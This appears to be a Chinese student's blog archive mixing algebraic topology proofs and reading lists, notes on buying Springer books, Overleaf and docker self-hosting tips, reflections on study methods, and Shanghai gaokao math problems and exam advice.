Let $S^n$ be the unit sphere in $\mathbb{R}^{n+1}$ and $f:S^n\rightarrow S^n$ a continuous map. Assume that the degree of $f$ is an odd integer. Show that there exists $x_0$ such that $f(-x_0)=-f(x_0)$.

网上某解答如下：

Otherwise $F(t,x)=\frac{f(x)+tf(-x)}{|f(x)+tf(-x)|}$ gives the homotopy between $f(x)$ and $g=\frac{f(x)+f(-x)}{|f(x)+f(-x)|}$, where $g$ is an even map. So $\mathrm{deg}(f)=\mathrm{deg}(g)\in 2\mathbb{Z}$, a contradiction.

但是没有详细解释映射度是偶数这一步。以下先记录一下deepseek的解释，以后再来整理：

这个证明使用了反证法来证明命题：如果连续映射 $f : S^n \to S^n$ 的度是奇数，则存在点 $x_0$ 使得 $f(-x_0) = -f(x_0)$。

证明步骤详解：

1. 假设相反：假设对于所有 $x \in S^n$，都有 $f(-x) \neq -f(x)$。这意味着对于所有 $x$，向量 $f(x)$ 和 $f(-x)$ 不互为反方向。

2. 构造同伦：定义函数 $F(t, x)$ 如下： $$ F(t, x) = \frac{f(x) + t f(-x)}{|f(x) + t f(-x)|}$$ 其中 $t \in [0, 1]$。需要验证 $F$ 是定义良好的，即分母不为零。

   • 如果对于某些 $t$ 和 $x$，有 $f(x) + t f(-x) = 0$，则 $f(x) = -t f(-x)$。由于 $f(x)$ 和 $f(-x)$ 是单位向量，如果 $t = 0$，则 $f(x) = 0$，矛盾；如果 $t > 0$，则取模得 $1 = t$，所以 $t = 1$，此时 $f(x) = -f(-x)$，与假设矛盾。因此，对于所有 $t \in [0, 1]$ 和所有 $x$，分母不为零，$F$ 是定义良好的连续函数。

3. 同伦的性质：

   • 当 $t = 0$ 时，$F(0, x) = \frac{f(x)}{|f(x)|} = f(x)$。
   • 当 $t = 1$ 时，$F(1, x) = \frac{f(x) + f(-x)}{|f(x) + f(-x)|} = g(x)$。
   • 因此，$F$ 是 $f$ 到 $g$ 的同伦，故 $f$ 和 $g$ 同伦，从而有相同的度： $\deg(f) = \deg(g)$.

4. 分析 $g$ 的性质：

   • 计算 $g(-x)$: $$g(-x) = \frac{f(-x) + f(-(-x))}{|f(-x) + f(-(-x))|} = \frac{f(-x) + f(x)}{|f(-x) + f(x)|} = g(x)$$ 所以 $g$ 是偶函数，即 $g(-x) = g(x)$ 对于所有 $x$.

5. 偶函数的度：需要证明偶函数 $g : S^n \to S^n$ 的度是偶数。

   • 由于 $g$ 是偶函数，它可以通过覆盖映射 $p : S^n \to \mathbb{RP}^n$（其中 $p(x)=[x] $）下降为一个映射 $\tilde{g} : \mathbb{RP}^n \to S^n$，使得 $g = \tilde{g} \circ p$。
   • 考虑同调群： $H_n(S^n) \cong \mathbb{Z}$ 和 $H_n(\mathbb{RP}^n)$。当 $n$ 为奇数时， $\mathbb{RP}^n$ 可定向， $H_n(\mathbb{RP}^n) \cong \mathbb{Z}$，覆盖映射 $p_* : H_n(S^n) \to H_n(\mathbb{RP}^n)$ 满足 $p_*([S^n] )=2[\mathbb{RP}^n] $，即 $p_*$ 是乘以 2。当 $n$ 为偶数时， $\mathbb{RP}^n$ 不可定向， $H_n(\mathbb{RP}^n) \cong 0$，因此 $\tilde{g}_*$ 是零映射。
   • 于是， $g_{*} = \tilde{g}_{*} \circ p_{*} $。无论 $n$ 的奇偶性，都有 $g_*([S^n]) = \tilde{g}_*(p_*([S^n]))$。如果 $n$ 为奇数， $p_*([S^n]) = 2 [\mathbb{RP}^n]$，所以 $g_*([S^n]) = 2 \tilde{g}_*([\mathbb{RP}^n])$，即 $\deg(g) = 2 \deg(\tilde{g})$ 为偶数。如果 $n$ 为偶数， $H_n(\mathbb{RP}^n) = 0$，所以 $g_*([S^n]) = 0$，即 $\deg(g) = 0$ 为偶数。
   • 因此，在所有情况下， $\deg(g)$ 是偶数。

6. 矛盾：由 $\deg(f) = \deg(g)$ 和 $\deg(g)$ 是偶数，得 $\deg(f)$ 是偶数，但与假设 $\deg(f)$ 是奇数矛盾。因此，原假设错误，存在 $x_0$ 使得 $f(-x_0) = -f(x_0)$.

这个证明通过构造同伦和利用偶函数度的性质，简洁地得出了结论。

还有以下网络参考：

https://math.stackexchange.com/questions/3984757/even-maps-of-any-even-degree

https://math.stackexchange.com/questions/1750150/show-that-deg-f-is-even-when-n-is-odd?rq=1

https://zhuanlan.zhihu.com/p/1972454671042975253

所以我还一度以为是淘宝这个店铺卖的是假货，直到我在 Google 上搜索一通，发现许多人都评价说Springer 的印刷质量不大行，尤其是 “print on demand” 这种类型的：

(上图见 https://news.ycombinator.com/item?id=40175390)

其他参考： Springer and Elsevier-Butterworth-Heinemann quality， Considering the low quality of their print-on-demand texts, is it not worth it anymore to buy physical Springer books?

实在受不了这种“官方复印”件，毕竟我也有这本书的pdf，自己去打印店复印不得合算的多.于是果断退货，之后又在孔夫子旧书网调到一本原版精装，看拍的照片似乎印刷地挺清晰的.不过后来买回来一看发现还是网络复印版。。。懒得折腾了

最后得到的教训：尽量避免官方渠道购买(冷门)原版旧书（15、20年前），因为多是 “print on demand”，印刷质量堪忧.（为什么要说“冷门”这个条件，因为我看同学的原版Hartshorne似乎印刷质量很好的…）

12月8日更新：

最近终于把这本按需印刷的书通过咸鱼卖出去了，几乎回了本。今年九月刚开学的时候就在孔夫子买到了一本原版的非按需印刷，目测大概是10年左右印的。质量非常的好，纸张的细腻和印刷的清晰程度甚至一度让我回忆起高考试卷的小册子(还带着纸张的某种暗香味(?)). 总之兜兜转转，最后还是买到心仪的原版书了。

如何证明环面T2不能嵌入到球面S2中?

2

Möbius带无法嵌入欧氏平面

3

用 Invariance of Domain 证明 Invariance of Dimension: Elementary proof of topological invariance of dimension using Brouwer’s fixed point and invariance of domain theorems?

(提问者的动机是 这篇文章用初等方法证明了 Brouwer 不动点定理，也先挖个坑)

(Invariance of Dimension) 若$m\ne n$，则$\mathbb{R}^m\not\cong\mathbb{R}^n$.

证明：设$m\leqslant n$，设$\mathbb{R}^m$的开子集$V$同胚于$\mathbb{R}^n$的开子集$U$，则设$f:U\rightarrow V$为同胚.复合上包含映射$i:\mathbb{R}^m\hookrightarrow\mathbb{R}^n$可得单射$i\circ f:U\rightarrow\mathbb{R}^n$，像在$\mathbb{R}^n$的子空间$\mathbb{R}^m$中.由Invariance of Domain，可得$i\circ f(U)$在$\mathbb{R}^n$中是开的.

若$m<n$，则像不会是开的(超平面中一点的任意邻域必包含不在超平面中的点)，因此$m=n$.

注：上面的Invariance of Domain用的等价描述：设$U$是$\mathbb{R}$的开子集，设$f:U\rightarrow\mathbb{R}^n$是连续的单射，则$f(U)$也是$\mathbb{R}^n$的开子集.

参考：

Elementary proof of topological invariance of dimension using Brouwer’s fixed point and invariance of domain theorems?

Brouwer’s fixed point and invariance of domain theorems, and Hilbert’s fifth problem - Terence Tao

Elementary proof that ℝ𝑛 is not homeomorphic to ℝ𝑚

Another (non-homological) proof of the invariance of dimension

4

单值化定理的证明（？）

5

待整理

• An n-dimensional Klein bottle
• The geodesic complexity of n-dimensional Klein bottles

比较有意思，他这种对高维"Klein瓶"$K_n(n\geq 2)$的构造是因为某些情形的嵌入欧氏空间方式与$n=2$时类似.

见知乎问题 三维空间有莫比乌斯环，四维空间有克莱因瓶，五维六维有什么？，目前没有人回答有关这个构造的.

此外，在这个教授的主页中找到了许多其关于 Topological Complexity这个拓扑不变量的研究，之后有空也会研究一下.维基百科引用的一篇较老的文献 Topological Complexity of Configuration Spaces，当时不可定向曲面的Topological Complexity问题还没解决，现在应该已经解决了.

设$X$是$\mathbb{C}$或者$\mathbb{R}$上的Banach空间，$A,B$是$X$上的有界线性算子，则$AB-BA\ne I$.

下题见： 卓里奇《数学分析》习题

证明：若函数$f\in C^\infty[a,b]$，并且$$\forall x\in[a,b]\exist n\in \mathbb{N}\forall m>n(f^{(m)}(x)=0),$$则$f$是多项式.

证明：$$\lim\limits_{x\rightarrow 1^-}(1-x)\displaystyle\sum_{n=1}^\infty 2^n x^{2^n}=\dfrac{1}{\ln{2}}$$

代数拓扑碎碎念（一）：从映射度说起

谱序列：

Clover May Math 237 Spectral Sequences - Spring 2020 at UCLA

Algebraic Topology 2

书：A User’s Guide to Spectral Sequences

A User’s Guide to Spectral Sequences

肖梁 代数学

2023 秋: 代数学 (实验班)

HOMOLOGICAL ALGEBRA - LECTURE NOTES

Daniel Dugger

Daniel Dugger

NOTES ON THE MILNOR CONJECTURES

Mike Hill

Mike Hill

Computational Methods in Algebraic Topology

如何证明莫比乌斯带的边界圆不是形变收缩核? - Eric的回答 - 知乎 https://www.zhihu.com/question/5265920881/answer/75695841029

O. Randal-Williams Algebraic Topology Notes

有许多计算的例子

https://dec41.user.srcf.net/notes/III_M/algebraic_topology_iii_trim.pdf

以上是Dexter Chua做的笔记，他的笔记主页：https://dec41.user.srcf.net/notes/

共几千页.

Shintaro Fushida-Hardy

Homology 3-spheres

https://stanford.edu/~sfh/homosphere.pdf

Grad school application advice

https://stanford.edu/~sfh/advice.pdf

An Infinitely Large Napkin

https://venhance.github.io/napkin/Napkin.pdf

从基础知识到代数数论、代数拓扑、代数几何，很全.

When are finite-index subgroups of a Lie group closed?

https://math.stackexchange.com/questions/454320/when-are-finite-index-subgroups-of-a-lie-group-closed

Marc Lackenby

https://people.maths.ox.ac.uk/lackenby/

有许多关于几何拓扑的研究，发过很多四大

后面想看一些他的讲义，比如 https://people.maths.ox.ac.uk/lackenby/tg11o17.pdf

Lars Hesselholt

https://web.math.ku.dk/~larsh/

比较喜欢他的表示论讲义，打算后面看看.

表示论讲义：https://web.math.ku.dk/~larsh/teaching/S2023_A/representations.pdf

表示论主页：https://web.math.ku.dk/~larsh/teaching/S2023_A/

Topics in Algebraic Topology: https://web.math.ku.dk/~larsh/teaching/F2023/ 后面也可以看看，或者讨论班讲

https://naprienko.com/

Sophus Lie: A Real Giant in Mathematics

https://intlpress.com/site/pub/files/_fulltext/journals/iccm/2015/0003/0001/ICCM-2015-0003-0001-a009.pdf

季李真的文章，挺有意思的

https://www.zhihu.com/question/55626398/answer/521920422

N-1维球面上恰有ρ(N) − 1个逐点线性无关切向量场.

把$N$写作$N=A\cdot 2^B$，其中$A$为奇数，$B$为自然数，$B$又写作$B=c+4d,0\leqslant c<4$，则$\rho(N)=2^c+8d$.

群论里一直想搞的几个问题：

SL₂(𝔽₃) 的 Sylow 子群 （2025中科大考研复试题）

用群作用计数 |GL_n(F_p)|, |SL_n(F_p)| 和 |PSL_n(F_p)|

https://www.zhihu.com/question/1889066006799966287

Daniel Bump 的表示论课程

Math 122: Modules and Group Representation Theory

http://sporadic.stanford.edu/Math122/lecture19.pdf

关于半直积的讲解（有用）：http://sporadic.stanford.edu/bump/group/gind1_3.html

A Note on Complex Representations of GL(2, Fq)

https://math.ntnu.edu.tw/~li/note/REPGL2K.pdf

https://subwiki.org/

比较全的数学 wiki

第一次用到是在找 Bruhat 分解

https://groupprops.subwiki.org/wiki/Bruhat_decomposition_for_general_linear_group_of_degree_two_over_a_field

陈小伍 - 中科大

http://home.ustc.edu.cn/~xwchen/

想学代数荣誉课程：http://home.ustc.edu.cn/~xwchen/ModernAlgebra.htm

刘毅 - BICMR

http://scholar.pku.edu.cn/liuyi

有很多想学的课 http://scholar.pku.edu.cn/liuyi/classes

2023年秋季-微分流形与拓扑（实验班）：http://scholar.pku.edu.cn/liuyi/fall_2023_course_00137914

2025年春季-几何学II（实验班）：http://scholar.pku.edu.cn/liuyi/spring_2025_course_00132382

2024年秋季-微分流形与拓扑（实验班）：http://scholar.pku.edu.cn/liuyi/spring_2025_course_00132382

2024年春季-同调论（强化班）：http://scholar.pku.edu.cn/liuyi/spring_2024_course_e16x

作业习题值得做一做！！！

这里记录一些网络上看到的高质量课程/教授主页.特别注意2020-2022，这几年由于疫情而线上授课，因此各种资料更为丰富详细（如大多暑校提供这两年的课程录像和 Lecture Notes）

南开大学暑校

2021年南开大学暑期短期课程

2022年南开大学暑期短期课程

IWoAT - International Workshop on Algebraic Topology

https://iwoat.github.io/

网站中提供结束课程的 Lecture Notes.

官方B站账号提供2021-2022年部分课程录像.

Renato Feres

这个教授什么课都开，分析、代数、几何拓扑、数学物理…

许多课程主页的作业文件已经404，部分可以在 archive.org上找到.

主页： https://www.math.wustl.edu/~feres/

• Algebra I - Math 5031-
• Math 5031 – Algebra I (Fall 2021)
• Algebra II - Math 5032
• Math 5047 – Geometry/Topology III: Differential Geometry (Fall 2024)

熊锐

• 熊睿的数学博客
• Spectral Sequence, My Homological Saw
• SpectralSequences

肖梁

最好的抽象代数课程！

• Fall 2023, Honors Algebra, Peking University.
• Fall 2020, Topics in Number Theory: Fermat’s Last Theorem, Peking University.

伍晓磊

Dr. Xiaolei Wu

图书

Seifert and Threlfall A Textbook of Topology

主题部分可能以后再详细写。

这里先讲我在部署过程中遇到的几个坑。

1、无法注册管理员账户

在安装完成后，进入http://localhost/launchpad却无法注册管理员账户，可能需要在bin/config/variables.env中把如下两行 注释掉（改成False都不行）：

# SHARELATEX_BEHIND_PROXY=false
# SHARELATEX_SECURE_COOKIE=false

参考：见 Error session message for login and registration

2、安装完整版 LaTeX 时出错

在开头提到的经验贴中用的是2021年的sharelatex，但目前是2025年版本，操作可能不大一样，

# 检查texlive版本
docker exec sharelatex tlmgr --version
# 示例：2025年版本
docker exec sharelatex tlmgr option repository https://mirrors.pku.edu.cn/ctan/systems/texlive/tlnet/
# 拉取完整latex
docker exec sharelatex tlmgr install scheme-full

sharelatex每年的三、四月份会更新版本并且将去年的archive仓库，如果overleaf没有跟进版本，则要选取对应版本。

archive的版本：

• 清华镜像站：https://mirrors.tuna.tsinghua.edu.cn/tex-historic-archive/systems/texlive/
• 南大镜像站：https://mirror.nju.edu.cn/tex-historic/systems/texlive/

最新版本：

• 北大镜像站：https://mirrors.pku.edu.cn/ctan/systems/texlive/tlnet

（除了北大镜像站，其它都没有把最新版打包。。。很奇怪）

3、其它问题

可参考 官方doc

注记

overleaf工作目录下的几个文件夹不要随便删，特别是mongo的文件夹，tex和用户信息都在里面。各个文件夹的用途和重要性可见 Data and Backups，在不同服务器中 迁移数据.

设$V$是数域$K$上的$n$维线性空间，$\mathcal{A}_1,\mathcal{A}_2,\cdots,\mathcal{A}_s$都是$V$上的幂等变换。
证明：如果 $\mathcal{A}_1 + \mathcal{A}_2 + \cdots+\mathcal{A}_s$ 也是幂等变换，那么 $$\mathrm{rank}(\mathcal{A}_1+\mathcal{A}_2+\cdots+\mathcal{A}_s)=\mathrm{rank}(\mathcal{A}_1)+\mathrm{rank}(\mathcal{A}_2)+\cdots+\mathrm{rank}(\mathcal{A}_s).$$

课上从作用的观点，讲“幂等”类比到分析（拓扑）上的Brouwer不动点定理，并对于其最常用的证明方法，进行了代数上的思考.然后接着引出了Lefschetz不动点（挖坑x2）。

课后答疑时又问到昨日中饭时与老师聊的内容，数分课中证明代数基本定理的动机是证明有理函数有初等原函数那部分内容。在不定积分原函数那块内容涉及了一些代数的内容和概念，主要就是两个：代数基本定理、微分域扩张（证明Liouville定理）。

代数基本定理的证明刚讨论过，来自(Harm Derksen, 2003)的一种巧妙且深刻的证法。今天由这个话题又提到代数闭域的存在性和唯一性问题，证明它可能会用到正项/逆向极限，Zorn引理等。知乎上找到的证明：参考 抽象代数(3-2)：分裂域，代数闭域，代数闭包（挖坑x3）

然后就是Liouville定理，表述如下：

(Liouville) 设$f$为初等函数，$K$为一个初等微分扩域使得$f\in{K}$，则$f$有初等原函数当且仅当$\exist M\in\mathbb{N}^*,c_1,\cdots,c_m\in\mathbb{C},\beta_1,\cdots,\beta_m,\gamma\in{K},\beta_j\ne0$，使得$$f=\displaystyle\sum_{j=1}^m c_j\dfrac{\beta_j^{′}}{\beta_j}+\gamma^{′}.$$

在超理论坛中找到一个不错的 证明解说，以及一份 微分代数导引，以后有空仔细研究一下（挖坑x4）

但是否一定如此？也许在“读书学习速度”这一表象并非反映学习能力，而是学习方法的外显。毕竟，如果是像读小说一样浏览一遍还是相对轻松的；而我总担心这样的理解不深，无法掌握精髓，于是深入到书中的每一个细节，无法自拔。于是意识到，自己得调整一下学习方法。

实际上，学习方法没有绝对的对错，只有在给定某种“意义”下的优劣。记得开学初，孟晟老师在第一节课就跟我们讲过这个类比。他找出了deepseek的一篇论文，其中刻画了训练模型中不同方面的参数权重，于是模型归结为一个问题：找到最佳参数权重比例，使得“预期”训练结果最优化。类比到数学学习上，便可以说：在明晰学习目的的条件下，我们要在“刷题训练”、“自我探索生成”等学习方法中找到最佳比例。

因此，回到对于书籍的阅读学习。本科生学习代数拓扑等进阶学科，目的并非是去完全掌握。对于这近一个世纪较为“前沿”的内容，也许只是粗略了解思想方法，学会计算即可。（这大概也是丘赛设立的初衷）而我目前学习代拓的“死磕”方法，既失去了效率，又无法完全理解，可能不久又将忘记。那么两种学习方法的效果将产生显著差异。这也解释了广为流传的一个论断：“数学系中学生的差距，比人与猪的差距还要大。”好的学习方法、好的思维，将时刻不断作用于学习过程中。

罗栗老师曾说，学习要不求甚解。这句话有不同的理解方式。对于我来说，就是不再沉迷细节，能够在掌握最低前置知识的前提下，看懂核心方法即可。

$$\cdots \longrightarrow 遗忘 \longrightarrow \text{浏览} \longrightarrow \text{想法} \longrightarrow \text{遗忘} \longrightarrow \text{浏览} \longrightarrow \text{想法} \longrightarrow \cdots$$

这学期选了六门数学专业课，所以说课余的时间很少，几乎没有整块的时间去深化某方面的学习，大多数空闲的碎片化时间，便用在刷知乎、公众号，看各种各样他人的研究创作。有时确能激发一些灵感想法，但始终没有时间深入思考了解，一直收藏/挂在电脑平板的标签页里，渐渐忘掉。

因此我意识到必须做些持续性的、有规划的工作。之前尝试过整理成latex笔记形式，然而其形式不够自由（引用参考和超链接、归纳整理太繁），最终也就流于形式。最终坚持下来的只有数学分析笔记。而写博客则解决了这一痛点，偶尔有些思路，直接把 思路/超链接 往上一丢，简单一分类即可；什么时候有新思路，直接定位到某篇blog接着写，完全无需在组织、排版上耗心思。

当然，行动起来是关键。我希望在这之后半年中能坚持更新的内容：

1. 代数拓扑（和一些几何？）
2. 数学分析（习题/答疑/参考书）

参考项目：https://github.com/DaoCloud/public-image-mirror

实例：

#将jellyfin/jellyfin:10.9.2换成你需要的镜像名和版本

docker pull m.daocloud.io/docker.io/jellyfin/jellyfin:10.9.2

#格式为 docker tag 代理镜像名:版本 原始镜像名:版本

docker tag m.daocloud.io/docker.io/jellyfin/jellyfin:10.9.2 jellyfin/jellyfin:10.9.2

#格式为 docker rmi 代理镜像名:版本

docker rmi m.daocloud.io/docker.io/jellyfin/jellyfin:10.9.2

2025.04.30更新：

目前发现还是有一些仓库能用的：

{
  "registry-mirrors": [
    "https://docker.m.daocloud.io",
    "https://hub1.nat.tf",
    "https://docker.registry.cyou",
    "https://docker-cf.registry.cyou",
    "https://dockercf.jsdelivr.fyi",
    "https://docker.jsdelivr.fyi",
    "https://dockertest.jsdelivr.fyi",
    "https://mirror.aliyuncs.com",
    "https://dockerproxy.com",
    "https://mirror.baidubce.com",
    "https://docker.nju.edu.cn",
    "https://docker.mirrors.sjtug.sjtu.edu.cn",
    "https://docker.mirrors.ustc.edu.cn",
    "https://mirror.iscas.ac.cn",
    "https://docker.rainbond.cc" 
  ]
}

（可参考 https://status.daocloud.io/status/docker、 https://blog.csdn.net/wxhzz/article/details/143785794）

在终端重新启动一下docker

systemctl daemon-reload
systemctl restart docker

（daocloud的镜像使用白名单制，如果自己要下的镜像不在白名单内，则要先 申请.）

（以及自部署镜像代理服务器 crproxy）

(以下仅列举重点部分)

(1)命题以数学学科核心素养立意

考查学生的数学学科核心素养，包括：数学抽象、逻辑推理、数学建模、直观想象、数学运算和数据分析。

文中列举了23年春考的16题：
已知无穷数列 $\left\{a_{n}\right\}$ 的各项均为实数, 记 $\left\{a_{n}\right\}$ 的前 $n$ 项的和是 $S_{n}$ 。若对任意 $k>2022$ , 都有 $\left|S_{k}\right|>\left|S_{k+1}\right|$ , 则以下可能正确的是（ ）。
A. $a_{1}$ 、 $a_{3}$ 、 $\cdots$ 、 $a_{2 n-1}$ 、 $\cdots$ 是等差数列, $a_{2}$ 、 $a_{4}$ 、 $\cdots$ 、 $a_{2 n}$ 、 $\cdots$ 是等比数列。
B. $a_{1}$ 、 $a_{3}$ 、 $\cdots$ 、 $a_{2 n-1}$ 、 $\cdots$ 是等比数列, $a_{2}$ 、 $a_{4}$ 、 $\cdots$ 、 $a_{2 n}$ 、 $\cdots$ 是等差数列。
C. $a_{1}$ 、 $a_{2}$ 、 $\cdots$ 、 $a_{2022}$ 是等差数列, $a_{2023}$ 、 $a_{2024}$ 、 $\cdots$ 是等比数列。
D. $a_{1}$ 、 $a_{2}$ 、 $\cdots$ 、 $a_{2022}$ 是等比数列, $a_{2023}$ 、 $a_{2024}$ 、 $\cdots$ 是等差数列。

（答案：C）

(2)重点探索应用性与探究性问题情境的创设

数学学科核心素养通过“情境与问题”“知识与技能”“思维与表达”“交流与反思”四个方面来体现，而加强情境设计，注重联系社会生活实际，增加应用性、探究性试题正是深化考试命题改革的要求。命题对于应用型问题情境的创设作重点探索。试卷中会设置一些现实情境、数学情境或科学情境，这些情境的创设对考生来说是全新的，没有现成的解题模式或解题策略可用，需要考生独立思考去发现和提出问题、运用所学知识分析问题和解决问题。
······
例如应用题，引入建筑物的“体形系数”及“形状因子”，···，了解建模的过程和价值，从而学会变被动解题为主动发现问题，建立模型、解决问题。

可以看出，数学建模这块主要看中主动探索能力，高考命题可能会将其体现在“提出问题”或“提出假设”中，甚至可能是对一个陌生问题的完全的自主探究。

(3)试题的设计注重设问、应答、评分与考试目标一致性

又如解析几何解答题，第三小题考查学生的数学运算素养······评分时紧扣考试目标要素，将应答过程划分为直线与曲线方程联立、判别式满足的条件、消元、结论四个环节进行评分，达到按照素养水平进行评价的目的，并实现各种解法的匹配。

二、针对近年来学生在数学答题中的薄弱环节，如何提高解题能力？

(1)加强审题意识

审题是答题的首要环节，正确领会题意是正确答题的前提。然而在考生中却存在着对审题环节不够重视的情况：
读题马虎，将字母、数字或其他表述看错。 如：将“$OA\perp{AB}$”看作“$OA\perp{OB}$”，将四棱锥当做三棱锥等。
读题不加分析，想当然地往习惯思路上走。 如：求函数值域的交集却去求两个函数图像的交点，求三棱柱的体积却用三棱锥的体积公式等（确实是这样）。
读题后思考不全面，没能领悟隐含的条件。 有些题设是隐含着条件的，如：已知某三角形为直角三角形，若无明确说明，则直角的位置有三种情况；若两个非零向量的和的模等于这两个向量模的和，则意味着这两个向量同向。
因此，建议审题时一要看清题目的语言表述，二要明确涉及的知识内容，三要读懂题设的真正含义，为正确答题打好基础。

上述“想当然”和“忽略隐含条件”可在今年春考20题第三问体现。如下图，已知两个向量平行，如果想当然地按习惯思路把两个向量坐标一列，然后说$\dfrac{x_1}{y_1}=\dfrac{x_2}{y_2}$，就会发现无解。这其实就是忽略了向量平行坐标轴的情况，所以把向量平行用乘积式表达更好。并且，有同学没有发现点$B,C$的对称关系，结果设线联立算了好久，这就是忽略隐含条件带来的麻烦。

答案：(1)$\dfrac{5\sqrt{6}}{3}$;

(2)$\left(\sqrt{2},\dfrac{3\sqrt{10}}{5}\right]$;

(3)$C\left(-\dfrac{9}{4},-\dfrac{\sqrt{5}}{4}\right)$

(2)提高运算及推理能力

近年来，考生的运算能力、推理能力都有所退化。
如：求特殊角的三角比值、数据很小的组合数等都要依赖计算器（……）
因此，建议考生在学习中要多思考，明白知识的来龙去脉，知其然更知其所以然，还要勤动手，数据不大的问题亲手算一算，想明白的问题看能不能写清楚，扎扎实实地提高运算和推理能力。

可以参考23年春考21题，想明白容易，写明白很不容易。

(3)提高阅读理解能力，提升数学建模素养

···目前，部分考生在这方面的能力还是较为欠缺的，主要困难在于阅读时有畏难情绪、无法将实际问题转换为数学模型，解决这个问题的关键在于：平时多观察、多思考，主动寻找数学知识与现实生活的联系；对于现有的应用题，应多加分析，而不是记住其模式。

(4)加强探究意识

为了公平地考查考生独立思考和运用所学知识分析问题、解决问题的能力，试卷中会有一些背景新颖的试题，是考生以前没有见过的，不能套用已有的解题模式。这就需要考生具有探究意识，独立自主地去分析，整合已有的知识和方法，从而解决问题。
然而，近年的考查结果表明，考生的探究意识亟待加强，最典型的例子是高考试卷的最后一题。纵观今年高考卷的最后一题，总体上绝对难度没有上升，甚至有所降低，但考生的得分率却屡屡下降，除了实在不会做的因素之外，有相当部分考生心理上就没有做好去尝试探究的准备，对试题未曾下笔。这种”放弃“的情况再高考试卷某些试题的答题中有一定的普遍性。事实上，探究能力的形成不是一蹴而就的，为考查考生这方面的能力，试题会铺设一定的阶梯。如果有探究意识，充分调动所掌握的知识和方法，勇于尝试，就能在实践中展现并发展自身的能力。

17年高考应该算是近几年中较难的。

四、数学临考前如何进行总复习？

(1)认真学习《课程标准》，明确考试要求

(2)充分利用教材，全面落实学习要求

(3)适度训练，提高效率

考前适当的训练是必要的，可以检验复习情况、熟悉考试节奏，但要掌握好训练的度。过度训练，可能引起疲劳，流于一味追求量的机械训练，并不利于提高学业水平。训练要有针对性，通过做题，理解本质，掌握规律；不能就题论题，而要举一反三，最大限度地发挥每一题的效用。训练中，做通、做透，理解了思想方法，才能在不同中见相同，于相同中见差异，知识和方法才能灵活运用，从而提高学习效率。

(4)调整好临考前的状态

要以积极自信的心理状态和踏实学习的行动迎接考试。不因纠结于考分而对自己作过高的预期或盲目低估自己，要专心于踏实学习带来的收获，专注于提升学业水平。考试时遇到难题不要急躁，试题的难度对大家而言都是一样的。 平时注意劳逸结合，只要抱着平常心、保持充沛的精力步入考场，就能发挥出自身应有的水平。

五、一些补充

高考真相

(来源于“晨晖数学”公众号《高考真相（1）》)

• 真相一

高考命题组由考试院“学科秘书”、大学教师和中学教师组成；高考题主要是大学老师命制的，特别是压轴题，而中学老师主要负责审题。

• 真相二

高考题的命制紧扣《课标》和《教材》，通常各种 “模拟卷”基本上押不到真题 ，因为高考命题组有严密的“反押题”措施。

• 真相三

高考题原则上不出怪题、偏题，更不回避“必考点”，但却在命题角度、方法、题型上下功夫；而各种“高考模拟卷”往往把握不住标准，特别是难度方面，日常练习普遍偏难，往往使学生对高考心生畏惧，不利于考试中发挥正常水平。

• 真相四

高考阅卷人员主要是由大学教师、在读博士、硕士和部分中学老师构成。阅卷评分细则也主要是由大学教师制定。

我们可以发现，平常考试中与上海高考贴近的压轴题是很稀有的(这是由大学教授和中学老师思考问题角度不同造成的)，我翻遍了高中三年的所有数学考卷，找到较好的压轴题不超过十道：

(高一上期末)已知函数$f(x)$的图像在定义域$(0,+\infty)$上连续不断.若存在常数$T>0$，使得对于任意的$x>0, f(Tx)=f(x)+T$恒成立，称函数$f(x)$满足性质$P(T)$.
(3)若函数$f(x)$满足性质$P(T)$，求证：函数$f(x)$存在零点.

(高一上练习卷)已知$y=f(x)$在定义域$\mathbf{R}$上是连续不断的函数，对于区间$I\subseteq\mathbf{R}$，若存在$c\in{I}$，使得对任意的$x\in{I}$，都有$f(x)\leq{f(c)}$，则称函数$y=f(x)$在区间$I$上存在最大值$M ( M=f(c) )$
(3)若对任意$t\in{\mathbf{R}}$，函数$y=f(x)$在区间$(-\infty,t]$存在最大值$M$，设最大值$M$关于$t$的函数关系式为$M=g(t)$，求证：“$y=f(x)$在定义域$R$上是严格增函数”的充要条件是“$M=g(t)$在定义域$\mathbf{R}$上是严格增函数”.

(上题说明了回归教材的重要性)

(高一上练习卷、2020高考16)已知函数$y=f(x)$在$\mathbf{R}$上严格增.若函数$y=f(x)$有零点$x=x_0$，证明：存在$a\in\mathbf{R}$，使得$f(x+a) < f(x)+f(a)$对任意$x\in{\mathbf{R}}$恒成立的充要条件是$x_0 < 0$.

(高三周练7)设$A$是$\mathbf{R}$的子集，对于定义域为$D$的函数$y=f(x)$，若对任意$x\in{D}$和任意$t\in{A}$，都成立$x+t\in{D}$且$f(x)\geq{2^t\cdot{f(x+t)}}\geq{0}$，则称$f(x)$具有“$A$性质”.
(3)已知定义域为$[0,+\infty)$的函数$y=h(x)$具有$\{1\}$性质，且存在$T>0$使得当$x\geq{0}$时$h(x+T)=h(x)$恒成立.证明：“$h(x)$不恒为$0$”是“对任意$M>0$”，存在$x_{M}\in{(0,T)}$，使得$h(x_{M})>M$的充要条件.

(高三下三月月考)设$y=g(x)$是定义在$\mathbf{R}$上的函数，若存在常数$T>0$，使得$y=\sin\left(g(x)\right)$是以$T$为一个周期的函数，则称$y=g(x)$为“正弦周期函数”，并称$T$是它的一个“正弦周期”.例如，所有的周期函数都是正弦周期函数.
(1)证明：$y=2x+\cos{x}$是正弦周期函数，并求出它的一个正弦周期；
(2)设$h(x)=x+\dfrac{1}{a}\sin{ax}$.若$y=h(x)$及其导函数$y=h^{′}(x)$均为正弦周期函数，且$y=h^{′}(x)$的正弦周期都是$y=h(x)$的正弦周期，求正整数$a$的所有可能值；
(3)已知$y=f(x)$是以$T$为一个正弦周期的正弦周期函数，且存在$P>0$和$A>0$，使得对任意$x\in{\mathbf{R}}$，都成立$f(x+P)=Af(x)$.证明：$y=f(x)$是周期函数.

注：以下是我能在近几年模卷里找到质量比较高的两题了。

(2017黄浦二模)若函数 $f(x)$ 满足: 对于任意正数 $s, t$ , 都有 $f(s)>0, f(t)>0$ , 且 $f(s)+f(t) < f(s+t)$ , 则称函数 $f(x)$ 为 “ $L$ 函数”.
(3) 若函数 $f(x)$ 为 “ $L$ 函数”, 且 $f(1)=1$ , 求证: 对任意 $x \in\left(2^{k-1}, 2^{k}\right)\left(k \in \mathbf{N}^{*}\right)$ , 都有 $f(x)-f\left(\dfrac{1}{x}\right)>\dfrac{x}{2}-\dfrac{2}{x}$.

